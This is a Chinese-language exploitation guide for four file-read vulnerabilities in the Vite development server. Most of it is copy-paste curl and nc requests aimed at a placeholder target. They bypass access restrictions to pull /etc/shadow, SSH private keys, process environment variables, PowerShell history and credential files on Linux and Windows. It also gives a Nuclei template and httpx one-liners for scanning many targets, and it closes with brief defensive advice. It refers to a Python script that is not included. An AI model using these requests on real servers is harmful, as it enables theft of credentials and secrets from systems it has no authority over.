# Vite漏洞利用指南 (CVE-2025-30208/31125/31486/32395)

本文档总结了Vite开发服务器中四个任意文件读取漏洞的利用方法，包括Linux和Windows系统的示例。**请注意：仅限在授权的安全测试环境中使用。**

## 基本原理

Vite开发服务器中的这四个漏洞都允许攻击者绕过`server.fs.deny`限制，读取服务器上的任意文件。每个漏洞使用不同的绕过技术，但基本原理相似。

## 影响条件

所有四个漏洞都需要满足以下条件才能被利用：

1. 目标使用了受影响版本的Vite开发服务器
2. 开发服务器被显式暴露到网络（使用`--host`或`server.host`配置选项）
3. 对于CVE-2025-32395，还需要服务器运行在Node或Bun（非Deno）环境

## 漏洞利用方法

### 1. CVE-2025-30208 (尾部分隔符绕过)

**影响版本**: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10

**修复版本**: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10

**利用原理**: 通过在URL中添加`?raw??`或`?import&raw??`查询参数，绕过`@fs`路径限制。这是因为尾部分隔符（如`?`）在多个地方被移除，但在查询字符串正则表达式中未被考虑到。

**Linux系统利用示例**:

```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??"
curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??"
curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/etc/passwd"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??"  # 如果返回文件内容，则存在漏洞
```

**Windows系统利用示例**:

```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"  # 如果返回文件内容，则存在漏洞
```

### 2. CVE-2025-31125 (特定导入方法绕过)

**影响版本**: 与CVE-2025-30208相同

**修复版本**: 与CVE-2025-30208相同

**利用原理**: 通过使用特定的导入方法，如`?inline&import`或`?raw?import`，绕过`server.fs.deny`配置。

**Linux系统利用示例**:

```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import"
curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import"
curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/etc/passwd"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import"  # 如果返回文件内容，则存在漏洞
```

**Windows系统利用示例**:

```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"  # 如果返回文件内容，则存在漏洞
```

### 3. CVE-2025-31486 (SVG和相对路径绕过)

**影响版本**: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12

**修复版本**: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12

**利用原理**: 

1. **SVG绕过**: 通过添加`?.svg?.wasm?init`或使用`sec-fetch-dest: script`头，绕过对`.svg`文件的限制检查
2. **相对路径绕过**: 利用ID规范化前的检查漏洞，使用相对路径（如`../../`）绕过限制

**Linux系统利用示例**:

```bash
# SVG绕过方法
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg"
curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init"
curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"

# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/etc/passwd"  # 应返回404错误
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init"  # 如果返回文件内容，则存在漏洞
```

**Windows系统利用示例**:

```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"

# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini"  # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"  # 如果返回文件内容，则存在漏洞
```

**注意**: SVG绕过仅在文件小于`build.assetsInlineLimit`（默认4kB）且使用Vite 6.0+时有效。

### 4. CVE-2025-32395 (无效请求目标绕过)

**影响版本**: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13

**修复版本**: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13

**利用原理**: 利用HTTP 1.1规范中不允许在`request-target`中使用`#`字符的特性。在Node和Bun运行时中，这些请求不会被内部拒绝，`http.IncomingMessage.url`包含`#`，而Vite在检查`server.fs.deny`时假设`req.url`不会包含`#`。

**Linux系统利用示例**:

```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"

# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/etc/passwd"  # 应返回403错误
curl --request-target "/@fs/x/#/../../../../../etc/passwd" "http://[目标IP]:5173"  # 如果返回文件内容，则存在漏洞
```

**Windows系统利用示例**:

```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/system32/drivers/etc/hosts" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/inetpub/wwwroot/web.config" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf" "http://[目标IP]:5173"

# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl --request-target "/@fs/x/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"  # 如果返回文件内容，则存在漏洞
```

**注意**: 此漏洞仅影响在Node或Bun（非Deno）环境中运行的Vite服务器。

## 漏洞检测工具

除了上述Python脚本，还可以使用以下工具检测这些漏洞：

1. **Nuclei模板**:

```yaml
id: vite-file-read-vulnerabilities
info:
  name: Vite Development Server - Arbitrary File Read
  author: security-researcher
  severity: high
  description: Detects multiple arbitrary file read vulnerabilities in Vite development server
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30208
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31486
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32395

requests:
  - method: GET
    path:
      # Linux路径
      - "{{BaseURL}}/@fs/etc/passwd?raw??"
      - "{{BaseURL}}/@fs/etc/passwd?import&raw??"
      - "{{BaseURL}}/@fs/etc/passwd?inline&import"
      - "{{BaseURL}}/@fs/etc/passwd?raw?import"
      - "{{BaseURL}}/etc/passwd?.svg?.wasm?init"
      - "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw"
      
      # Windows路径
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?raw??"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?import&raw??"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?inline&import"
      - "{{BaseURL}}/@fs/C:/Windows/win.ini?raw?import"
      - "{{BaseURL}}/C:/Windows/win.ini?.svg?.wasm?init"
      - "{{BaseURL}}/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
    
    matchers-condition: or
    matchers:
      # Linux文件内容匹配
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
      
      # Windows文件内容匹配
      - type: word
        words:
          - "for 16-bit app support"
          - "[fonts]"
        condition: or
        part: body
      
      # 通用匹配
      - type: word
        words:
          - "export default"
        condition: and
        part: body
```

2. **使用httpx**:

```bash
# Linux路径测试
cat targets.txt | httpx -path "/@fs/etc/passwd?raw??" -mc 200 -match-regex "root:"
cat targets.txt | httpx -path "/@fs/etc/shadow?raw??" -mc 200 -match-regex "\$"
cat targets.txt | httpx -path "/etc/passwd?.svg?.wasm?init" -mc 200 -match-regex "root:"

# Windows路径测试
cat targets.txt | httpx -path "/@fs/C:/Windows/win.ini?raw??" -mc 200 -match-regex "for 16-bit app support"
cat targets.txt | httpx -path "/@fs/C:/Windows/system32/drivers/etc/hosts?raw??" -mc 200 -match-regex "localhost"
cat targets.txt | httpx -path "/C:/Windows/win.ini?.svg?.wasm?init" -mc 200 -match-regex "for 16-bit app support"
```

## 防御措施

1. **立即更新Vite**:
   - 升级到6.2.6+、6.1.5+、6.0.15+、5.4.18+或4.5.13+

2. **限制网络暴露**:
   - 不要在生产环境中使用Vite开发服务器
   - 避免使用`--host`或`server.host`配置选项
   - 如必须暴露，使用防火墙限制访问IP

3. **配置增强**:
   - 使用`server.fs.strict: true`
   - 明确配置`server.fs.allow`和`server.fs.deny`列表
   - 考虑使用`server.fs.deny: ['**']`完全禁止文件系统访问

4. **运行时安全**:
   - 考虑在Deno而非Node/Bun上运行Vite（根据CVE-2025-32395的发现）
   - 使用最小权限原则运行Vite服务
